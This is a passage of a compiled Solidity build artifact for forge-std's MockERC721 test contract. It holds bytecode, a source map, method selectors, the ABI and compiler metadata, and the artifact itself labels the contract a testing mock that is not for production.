b60606001805461037b90610df6565b335f8181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6109ff8484846104fc565b823b1580610a885750604051630a85bd0160e11b808252906001600160a01b0385169063150b7a0290610a3c903390899088908890600401610f95565b6020604051808303815f875af1158015610a58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7c9190610e6f565b6001600160e01b031916145b610ad45760405162461bcd60e51b815260206004820152601060248201527f554e534146455f524543495049454e5400000000000000000000000000000000604482015260640161048b565b50505050565b6001600160e01b031981168114610aef575f80fd5b50565b5f60208284031215610b02575f80fd5b8135610b0d81610ada565b9392505050565b5f81518084525f5b81811015610b3857602081850181015186830182015201610b1c565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610b0d6020830184610b14565b5f60208284031215610b79575f80fd5b5035919050565b80356001600160a01b0381168114610903575f80fd5b5f8060408385031215610ba7575f80fd5b610bb083610b80565b946020939093013593505050565b5f805f60608486031215610bd0575f80fd5b610bd984610b80565b9250610be760208501610b80565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f67ffffffffffffffff80841115610c2557610c25610bf7565b604051601f8501601f19908116603f01168101908282118183101715610c4d57610c4d610bf7565b81604052809350858152868686011115610c65575f80fd5b858560208301375f602087830101525050509392505050565b5f82601f830112610c8d575f80fd5b610b0d83833560208501610c0b565b5f8060408385031215610cad575f80fd5b823567ffffffffffffffff80821115610cc4575f80fd5b610cd086838701610c7e565b93506020850135915080821115610ce5575f80fd5b50610cf285828601610c7e565b9150509250929050565b5f60208284031215610d0c575f80fd5b610b0d82610b80565b5f8060408385031215610d26575f80fd5b610d2f83610b80565b915060208301358015158114610d43575f80fd5b809150509250929050565b5f805f8060808587031215610d61575f80fd5b610d6a85610b80565b9350610d7860208601610b80565b925060408501359150606085013567ffffffffffffffff811115610d9a575f80fd5b8501601f81018713610daa575f80fd5b610db987823560208401610c0b565b91505092959194509250565b5f8060408385031215610dd6575f80fd5b610ddf83610b80565b9150610ded60208401610b80565b90509250929050565b600181811c90821680610e0a57607f821691505b602082108103610e2857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b5f81610e5057610e50610e2e565b505f190190565b5f60018201610e6857610e68610e2e565b5060010190565b5f60208284031215610e7f575f80fd5b8151610b0d81610ada565b601f82111561081d57805f5260205f20601f840160051c81016020851015610eaf5750805b601f840160051c820191505b81811015610ece575f8155600101610ebb565b5050505050565b815167ffffffffffffffff811115610eef57610eef610bf7565b610f0381610efd8454610df6565b84610e8a565b602080601f831160018114610f36575f8415610f1f5750858301515b5f19600386901b1c1916600185901b178555610f8d565b5f85815260208120601f198616915b82811015610f6457888601518255948401946001909101908401610f45565b5085821015610f8157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f6001600160a01b03808716835280861660208401525083604083015260806060830152610fc66080830184610b14565b969550505050505056fea264697066735822122018f5d8a3fb3a0ae3b302c0a30b888e8fa1a296f9cab6fd5a3851e7708e733c9264736f6c63430008180033","sourceMap":"381:7498:21:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5354:332;;;;;;;;;;-1:-1:-1;5354:332:21;;;;;:::i;:::-;;:::i;:::-;;;611:14:155;;604:22;586:41;;574:2;559:18;5354:332:21;;;;;;;;671:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;1927:120::-;;;;;;;;;;-1:-1:-1;1927:120:21;;;;;:::i;:::-;1998:7;2024:16;;;:12;:16;;;;;;-1:-1:-1;;;;;2024:16:21;;1927:120;;;;-1:-1:-1;;;;;1640:55:155;;;1622:74;;1610:2;1595:18;1927:120:21;1476:226:155;3106:301:21;;;;;;:::i;:::-;;:::i;:::-;;3632:693;;;;;;:::i;:::-;;:::i;4331:386::-;;;;;;:::i;:::-;;:::i;2706:212::-;;;;;;;;;;-1:-1:-1;2706:212:21;;;;;:::i;:::-;;:::i;1258:158::-;;;;;;;;;;-1:-1:-1;1258:158:21;;;;;:::i;:::-;;:::i;1422:177::-;;;;;;;;;;-1:-1:-1;1422:177:21;;;;;:::i;:::-;;:::i;:::-;;;4438:25:155;;;4426:2;4411:18;1422:177:21;4292::155;769:96:21;;;;;;;;;;;;;:::i;3413:213::-;;;;;;;;;;-1:-1:-1;3413:213:21;;;;;:::i;:::-;;:::i;4723:443::-;;;;;;:::i;:::-;;:::i;871:85::-;;;;;;;;;;-1:-1:-1;871:85:21;;;;;:::i;:::-;-1:-1:-1;939:13:21;;871:85;2053:161;;;;;;;;;;-1:-1:-1;2053:161:21;;;;;:::i;:::-;-1:-1:-1;;;;;2173:24:21;;;2150:4;2173:24;;;:17;:24;;;;;;;;:34;;;;;;;;;;;;;;;2053:161;5354:332;5439:4;5462:25;-1:-1:-1;;;;;;5462:25:21;;;;:100;;-1:-1:-1;5537:25:21;-1:-1:-1;;;;;;5537:25:21;;;5462:100;:175;;;-1:-1:-1;5612:25:21;-1:-1:-1;;;;;;5612:25:21;;;5462:175;5455:182;5354:332;-1:-1:-1;;5354:332:21:o;671:92::-;719:13;751:5;744:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;671:92;:::o;3106:301::-;3194:13;3210:12;;;:8;:12;;;;;;-1:-1:-1;;;;;3210:12:21;3241:10;:19;;;:59;;-1:-1:-1;;;;;;3264:24:21;;;;;;:17;:24;;;;;;;;3289:10;3264:36;;;;;;;;;;3241:59;3233:86;;;;-1:-1:-1;;;3233:86:21;;6407:2:155;3233:86:21;;;6389:21:155;6446:2;6426:18;;;6419:30;6485:16;6465:18;;;6458:44;6519:18;;3233:86:21;;;;;;;;;3330:16;;;;:12;:16;;;;;;:26;;-1:-1:-1;;3330:26:21;-1:-1:-1;;;;;3330:26:21;;;;;;;;;3372:28;;3330:16;;3372:28;;;;;;;3184:223;3106:301;;:::o;3632:693::-;3750:12;;;;:8;:12;;;;;;-1:-1:-1;;;;;3742:20:21;;;3750:12;;3742:20;3734:43;;;;-1:-1:-1;;;3734:43:21;;6750:2:155;3734:43:21;;;6732:21:155;6789:2;6769:18;;;6762:30;6828:12;6808:18;;;6801:40;6858:18;;3734:43:21;6548:334:155;3734:43:21;-1:-1:-1;;;;;3796:16:21;;3788:46;;;;-1:-1:-1;;;3788:46:21;;7089:2:155;3788:46:21;;;7071:21:155;7128:2;7108:18;;;7101:30;7167:19;7147:18;;;7140:47;7204:18;;3788:46:21;6887:341:155;3788:46:21;3866:10;-1:-1:-1;;;;;3866:18:21;;;;:57;;-1:-1:-1;;;;;;3888:23:21;;;;;;:17;:23;;;;;;;;3912:10;3888:35;;;;;;;;;;3866:57;:91;;;-1:-1:-1;3941:16:21;;;;:12;:16;;;;;;-1:-1:-1;;;;;3941:16:21;3927:10;:30;3866:91;3845:152;;;;-1:-1:-1;;;3845:152:21;;6407:2:155;3845:152:21;;;6389:21:155;6446:2;6426:18;;;6419:30;6485:16;6465:18;;;6458:44;6519:18;;3845:152:21;6205:338:155;3845:152:21;-1:-1:-1;;;;;4173:16:21;;;;;;:10;:16;;;;;:18;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;4202:14:21;;;;;;:10;:14;;;;;:16;;;;;;:::i;:::-;;;;-1:-1:-1;;4229:12:21;;;;:8;:12;;;;;;;;:17;;-1:-1:-1;;;;;4229:17:21;;;-1:-1:-1;;4229:17:21;;;;;;;;4264:12;:16;;;;;;4257:23;;;;;;;4296:22;;4238:2;;4229:17;;4296:22;;;;;;3632:693;;;:::o;4331:386::-;4437:26;4450:4;4456:2;4460;4437:12;:26::i;:::-;7811:18;;7856:14;;4495:173;;-1:-1:-1;4531:67:21;;-1:-1:-1;;;4531:67:21;;;4573:10;4531:67;;;8031:34:155;-1:-1:-1;;;;;8101:15:155;;;8081:18;;;8074:43;8133:18;;;8126:34;;;8196:3;8176:18;;;8169:31;-1:-1:-1;8216:19:155;;;8209:30;4622:46:21;;4531:41;;;;4622:46;;8256:19:155;;4531:67:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;4531:137:21;;4495:173;4474:236;;;;-1:-1:-1;;;4474:236:21;;8742:2:155;4474:236:21;;;8724:21:155;8781:2;8761:18;;;8754:30;8820:18;8800;;;8793:46;8856:18;;4474:236:21;8540:340:155;4474:236:21;4331:386;;;:::o;2706:212::-;2796:11;;;;2795:12;2787:44;;;;-1:-1:-1;;;2787:44:21;;9087:2:155;2787:44:21;;;9069:21:155;9126:2;9106:18;;;9099:30;9165:21;9145:18;;;9138:49;9204:18;;2787:44:21;8885:343:155;2787:44:21;2842:5;:13;2850:5;2842;:13;:::i;:::-;-1:-1:-1;2865:7:21;:17;2875:7;2865;:17;:::i;:::-;-1:-1:-1;;2893:11:21;:18;;-1:-1:-1;;2893:18:21;2907:4;2893:18;;;-1:-1:-1;2706:212:21:o;1258:158::-;1325:13;1367:12;;;:8;:12;;;;;;-1:-1:-1;;;;;1367:12:21;;1350:59;;;;-1:-1:-1;;;1350:59:21;;11605:2:155;1350:59:21;;;11587:21:155;11644:2;11624:18;;;11617:30;11683:12;11663:18;;;11656:40;11713:18;;1350:59:21;11403:334:155;1350:59:21;1258:158;;;:::o;1422:177::-;1494:7;-1:-1:-1;;;;;1521:19:21;;1513:44;;;;-1:-1:-1;;;1513:44:21;;11944:2:155;1513:44:21;;;11926:21:155;11983:2;11963:18;;;11956:30;12022:14;12002:18;;;11995:42;12054:18;;1513:44:21;11742:336:155;1513:44:21;-1:-1:-1;;;;;;1575:17:21;;;;;:10;:17;;;;;;;1422:177::o;769:96::-;819:13;851:7;844:14;;;;;:::i;3413:213::-;3525:10;3507:29;;;;:17;:29;;;;;;;;-1:-1:-1;;;;;3507:39:21;;;;;;;;;;;;:50;;-1:-1:-1;;3507:50:21;;;;;;;;;;3573:46;;586:41:155;;;3507:39:21;;3525:10;3573:46;;559:18:155;3573:46:21;;;;;;;3413:213;;:::o;4723:443::-;4884:26;4897:4;4903:2;4907;4884:12;:26::i;:::-;7811:18;;7856:14;;4942:175;;-1:-1:-1;4978:69:21;;-1:-1:-1;;;4978:69:21;;;5071:46;-1:-1:-1;;;;;4978:41:21;;;5071:46;;4978:69;;5020:10;;5032:4;;5038:2;;5042:4;;4978:69;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;4978:139:21;;4942:175;4921:238;;;;-1:-1:-1;;;4921:238:21;;8742:2:155;4921:238:21;;;8724:21:155;8781:2;8761:18;;;8754:30;8820:18;8800;;;8793:46;8856:18;;4921:238:21;8540:340:155;4921:238:21;4723:443;;;;:::o;14:177:155:-;-1:-1:-1;;;;;;92:5:155;88:78;81:5;78:89;68:117;;181:1;178;171:12;68:117;14:177;:::o;196:245::-;254:6;307:2;295:9;286:7;282:23;278:32;275:52;;;323:1;320;313:12;275:52;362:9;349:23;381:30;405:5;381:30;:::i;:::-;430:5;196:245;-1:-1:-1;;;196:245:155:o;638:423::-;680:3;718:5;712:12;745:6;740:3;733:19;770:1;780:162;794:6;791:1;788:13;780:162;;;856:4;912:13;;;908:22;;902:29;884:11;;;880:20;;873:59;809:12;780:162;;;784:3;987:1;980:4;971:6;966:3;962:16;958:27;951:38;1050:4;1043:2;1039:7;1034:2;1026:6;1022:15;1018:29;1013:3;1009:39;1005:50;998:57;;;638:423;;;;:::o;1066:220::-;1215:2;1204:9;1197:21;1178:4;1235:45;1276:2;1265:9;1261:18;1253:6;1235:45;:::i;1291:180::-;1350:6;1403:2;1391:9;1382:7;1378:23;1374:32;1371:52;;;1419:1;1416;1409:12;1371:52;-1:-1:-1;1442:23:155;;1291:180;-1:-1:-1;1291:180:155:o;1707:196::-;1775:20;;-1:-1:-1;;;;;1824:54:155;;1814:65;;1804:93;;1893:1;1890;1883:12;1908:254;1976:6;1984;2037:2;2025:9;2016:7;2012:23;2008:32;2005:52;;;2053:1;2050;2043:12;2005:52;2076:29;2095:9;2076:29;:::i;:::-;2066:39;2152:2;2137:18;;;;2124:32;;-1:-1:-1;;;1908:254:155:o;2167:328::-;2244:6;2252;2260;2313:2;2301:9;2292:7;2288:23;2284:32;2281:52;;;2329:1;2326;2319:12;2281:52;2352:29;2371:9;2352:29;:::i;:::-;2342:39;;2400:38;2434:2;2423:9;2419:18;2400:38;:::i;:::-;2390:48;;2485:2;2474:9;2470:18;2457:32;2447:42;;2167:328;;;;;:::o;2500:184::-;-1:-1:-1;;;2549:1:155;2542:88;2649:4;2646:1;2639:15;2673:4;2670:1;2663:15;2689:632;2754:5;2784:18;2825:2;2817:6;2814:14;2811:40;;;2831:18;;:::i;:::-;2906:2;2900:9;2874:2;2960:15;;-1:-1:-1;;2956:24:155;;;2982:2;2952:33;2948:42;2936:55;;;3006:18;;;3026:22;;;3003:46;3000:72;;;3052:18;;:::i;:::-;3092:10;3088:2;3081:22;3121:6;3112:15;;3151:6;3143;3136:22;3191:3;3182:6;3177:3;3173:16;3170:25;3167:45;;;3208:1;3205;3198:12;3167:45;3258:6;3253:3;3246:4;3238:6;3234:17;3221:44;3313:1;3306:4;3297:6;3289;3285:19;3281:30;3274:41;;;;2689:632;;;;;:::o;3326:222::-;3369:5;3422:3;3415:4;3407:6;3403:17;3399:27;3389:55;;3440:1;3437;3430:12;3389:55;3462:80;3538:3;3529:6;3516:20;3509:4;3501:6;3497:17;3462:80;:::i;3553:543::-;3641:6;3649;3702:2;3690:9;3681:7;3677:23;3673:32;3670:52;;;3718:1;3715;3708:12;3670:52;3758:9;3745:23;3787:18;3828:2;3820:6;3817:14;3814:34;;;3844:1;3841;3834:12;3814:34;3867:50;3909:7;3900:6;3889:9;3885:22;3867:50;:::i;:::-;3857:60;;3970:2;3959:9;3955:18;3942:32;3926:48;;3999:2;3989:8;3986:16;3983:36;;;4015:1;4012;4005:12;3983:36;;4038:52;4082:7;4071:8;4060:9;4056:24;4038:52;:::i;:::-;4028:62;;;3553:543;;;;;:::o;4101:186::-;4160:6;4213:2;4201:9;4192:7;4188:23;4184:32;4181:52;;;4229:1;4226;4219:12;4181:52;4252:29;4271:9;4252:29;:::i;4474:347::-;4539:6;4547;4600:2;4588:9;4579:7;4575:23;4571:32;4568:52;;;4616:1;4613;4606:12;4568:52;4639:29;4658:9;4639:29;:::i;:::-;4629:39;;4718:2;4707:9;4703:18;4690:32;4765:5;4758:13;4751:21;4744:5;4741:32;4731:60;;4787:1;4784;4777:12;4731:60;4810:5;4800:15;;;4474:347;;;;;:::o;4826:667::-;4921:6;4929;4937;4945;4998:3;4986:9;4977:7;4973:23;4969:33;4966:53;;;5015:1;5012;5005:12;4966:53;5038:29;5057:9;5038:29;:::i;:::-;5028:39;;5086:38;5120:2;5109:9;5105:18;5086:38;:::i;:::-;5076:48;;5171:2;5160:9;5156:18;5143:32;5133:42;;5226:2;5215:9;5211:18;5198:32;5253:18;5245:6;5242:30;5239:50;;;5285:1;5282;5275:12;5239:50;5308:22;;5361:4;5353:13;;5349:27;-1:-1:-1;5339:55:155;;5390:1;5387;5380:12;5339:55;5413:74;5479:7;5474:2;5461:16;5456:2;5452;5448:11;5413:74;:::i;:::-;5403:84;;;4826:667;;;;;;;:::o;5498:260::-;5566:6;5574;5627:2;5615:9;5606:7;5602:23;5598:32;5595:52;;;5643:1;5640;5633:12;5595:52;5666:29;5685:9;5666:29;:::i;:::-;5656:39;;5714:38;5748:2;5737:9;5733:18;5714:38;:::i;:::-;5704:48;;5498:260;;;;;:::o;5763:437::-;5842:1;5838:12;;;;5885;;;5906:61;;5960:4;5952:6;5948:17;5938:27;;5906:61;6013:2;6005:6;6002:14;5982:18;5979:38;5976:218;;-1:-1:-1;;;6047:1:155;6040:88;6151:4;6148:1;6141:15;6179:4;6176:1;6169:15;5976:218;;5763:437;;;:::o;7233:184::-;-1:-1:-1;;;7282:1:155;7275:88;7382:4;7379:1;7372:15;7406:4;7403:1;7396:15;7422:136;7461:3;7489:5;7479:39;;7498:18;;:::i;:::-;-1:-1:-1;;;7534:18:155;;7422:136::o;7563:135::-;7602:3;7623:17;;;7620:43;;7643:18;;:::i;:::-;-1:-1:-1;7690:1:155;7679:13;;7563:135::o;8286:249::-;8355:6;8408:2;8396:9;8387:7;8383:23;8379:32;8376:52;;;8424:1;8421;8414:12;8376:52;8456:9;8450:16;8475:30;8499:5;8475:30;:::i;9359:518::-;9461:2;9456:3;9453:11;9450:421;;;9497:5;9494:1;9487:16;9541:4;9538:1;9528:18;9611:2;9599:10;9595:19;9592:1;9588:27;9582:4;9578:38;9647:4;9635:10;9632:20;9629:47;;;-1:-1:-1;9670:4:155;9629:47;9725:2;9720:3;9716:12;9713:1;9709:20;9703:4;9699:31;9689:41;;9780:81;9798:2;9791:5;9788:13;9780:81;;;9857:1;9843:16;;9824:1;9813:13;9780:81;;;9784:3;;9359:518;;;:::o;10053:1345::-;10179:3;10173:10;10206:18;10198:6;10195:30;10192:56;;;10228:18;;:::i;:::-;10257:97;10347:6;10307:38;10339:4;10333:11;10307:38;:::i;:::-;10301:4;10257:97;:::i;:::-;10409:4;;10466:2;10455:14;;10483:1;10478:663;;;;11185:1;11202:6;11199:89;;;-1:-1:-1;11254:19:155;;;11248:26;11199:89;-1:-1:-1;;10010:1:155;10006:11;;;10002:24;9998:29;9988:40;10034:1;10030:11;;;9985:57;11301:81;;10448:944;;10478:663;9306:1;9299:14;;;9343:4;9330:18;;-1:-1:-1;;10514:20:155;;;10632:236;10646:7;10643:1;10640:14;10632:236;;;10735:19;;;10729:26;10714:42;;10827:27;;;;10795:1;10783:14;;;;10662:19;;10632:236;;;10636:3;10896:6;10887:7;10884:19;10881:201;;;10957:19;;;10951:26;-1:-1:-1;;11040:1:155;11036:14;;;11052:3;11032:24;11028:37;11024:42;11009:58;10994:74;;10881:201;;;11128:1;11119:6;11116:1;11112:14;11108:22;11102:4;11095:36;10448:944;;;;;10053:1345;;:::o;12083:512::-;12277:4;-1:-1:-1;;;;;12387:2:155;12379:6;12375:15;12364:9;12357:34;12439:2;12431:6;12427:15;12422:2;12411:9;12407:18;12400:43;;12479:6;12474:2;12463:9;12459:18;12452:34;12522:3;12517:2;12506:9;12502:18;12495:31;12543:46;12584:3;12573:9;12569:19;12561:6;12543:46;:::i;:::-;12535:54;12083:512;-1:-1:-1;;;;;;12083:512:155:o","linkReferences":{}},"methodIdentifiers":{"approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","getApproved(uint256)":"081812fc","initialize(string,string)":"4cd88b76","isApprovedForAll(address,address)":"e985e9c5","name()":"06fdde03","ownerOf(uint256)":"6352211e","safeTransferFrom(address,address,uint256)":"42842e0e","safeTransferFrom(address,address,uint256,bytes)":"b88d4fde","setApprovalForAll(address,bool)":"a22cb465","supportsInterface(bytes4)":"01ffc9a7","symbol()":"95d89b41","tokenURI(uint256)":"c87b56dd","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_approved\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"_approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"getApproved\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"name_\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"symbol_\",\"type\":\"string\"}],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"ownerOf\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceId\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"tokenURI\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC721.sol\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"This emits when the approved address for an NFT is changed or reaffirmed. The zero address indicates there is no approved address. When a Transfer event emits, this also indicates that the approved address for that NFT (if any) is reset to none.\"},\"ApprovalForAll(address,address,bool)\":{\"details\":\"This emits when an operator is enabled or disabled for an owner. The operator can manage all NFTs of the owner.\"},\"Transfer(address,address,uint256)\":{\"details\":\"This emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any number of NFTs may be created and assigned without emitting Transfer. At the time of any transfer, the approved address for that NFT (if any) is reset to none.\"}},\"kind\":\"dev\",\"methods\":{\"initialize(string,string)\":{\"details\":\"To hide constructor warnings across solc versions due to different constructor visibility requirements and syntaxes, we add an initialization function that can be called only once.\"}},\"stateVariables\":{\"initialized\":{\"details\":\"A bool to track whether the contract has been initialized.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"name()\":{\"notice\":\"A descriptive name for a collection of NFTs in this contract\"},\"symbol()\":{\"notice\":\"An abbreviated name for NFTs in this contract\"}},\"notice\":\"This is a mock contract of the ERC721 standard for testing purposes only, it SHOULD NOT be used in production.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/mocks/MockERC721.sol\":\"MockERC721\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_approved","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_operator","type":"address","indexed":true},{"internalType":"bool","name":"_approved","type":"bool","indexed":false}],"type":"event","name":"ApprovalForAll","anonymous":false},{"inputs":[{"internalType":"address","name":"_from","type":"address","indexed":true},{"internalType":"address","name":"_to","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"payable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"stateMutability":"view","type":"function","name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"initialize"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"stateMutability":"view","type":"function","name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"